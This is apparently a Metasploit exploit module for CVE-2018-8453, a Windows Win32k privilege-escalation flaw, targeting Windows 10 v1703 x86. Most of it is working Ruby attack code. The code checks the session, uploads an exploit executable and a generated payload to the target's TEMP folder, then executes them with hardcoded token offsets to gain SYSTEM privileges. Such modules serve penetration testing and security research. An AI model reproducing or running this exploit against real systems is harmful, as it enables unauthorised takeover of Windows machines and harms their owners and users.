Microsoft Windows – NtUserSetWindowFNID Win32k User Callback Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Windows NtUserSetWindowFNID Win32k User Callback', 'Description' => %q{ An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka "Win32k Elevation of Privilege Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers. This module is tested against Windows 10 v1703 x86. }, 'License' => MSF_LICENSE, 'Author' => [ 'ze0r', # Exploit analysis and PoC 'Kaspersky Lab', # Vulnerability discovery/detection 'Jacob Robles' # Metasploit module ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 10 v1703 (Build 15063) x86', { 'UniqueProcessIdOffset' => 180, 'TokenOffset' => 252, 'Version' => 'Windows 10 (Build 15063)' } ] ], 'References' => [ ['CVE', '2018-8453'], ['URL', 'https://github.com/ze0r/cve-2018-8453-exp'], ['URL', 'https://mp.weixin.qq.com/s/ogKCo-Jp8vc7otXyu6fTig'], ['URL', 'https://mp.weixin.qq.com/s/dcbUeegM0BqErtDufOXfoQ'], ['URL', 'https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453'] ], 'Notes' => { 'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS], 'Stability' => [CRASH_OS_RESTARTS] }, 'DisclosureDate' => '2018-10-09', 'DefaultTarget' => 0 )) end def target_info fail_with(Failure::None, 'Session is already elevated') if is_system? unless sysinfo['OS'].start_with?(target['Version']) && sysinfo['Architecture'] == 'x86' fail_with(Failure::NoTarget, 'Target is not compatible with exploit') end end def write_file_to_target(fname, data) tempdir = session.sys.config.getenv('TEMP') file_loc = "#{tempdir}\\#{fname}" vprint_warning("Attempting to write #{fname} to #{tempdir}") write_file(file_loc, data) vprint_good("#{fname} written") file_loc rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful") end def exploit target_info exe_name = 'CVE-2018-8453.exe' exe_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8453', exe_name) vprint_status("Reading payload from file #{exe_path}") raw = File.read(exe_path) tmp_exe = "#{Rex::Text.rand_text_alphanumeric(10)}.exe" vprint_status("Uploading exploit exe as: #{tmp_exe}") exe_rpath = write_file_to_target(tmp_exe, raw) register_file_for_cleanup(exe_rpath) tmp_payload = "#{Rex::Text.rand_text_alpha(6..14)}.exe" payload_rpath = write_file_to_target(tmp_payload, generate_payload_exe) vprint_status("Uploading payload #{tmp_payload}") register_file_for_cleanup(payload_rpath) command = "\"#{exe_rpath}\" \"#{payload_rpath}\" #{target['UniqueProcessIdOffset']} #{target['TokenOffset']}" vprint_status("Executing command: #{command}") session.sys.process.execute(command, nil, {'Hidden' => false}) print_good('Exploit finished, wait for privileged payload execution to complete.') end end |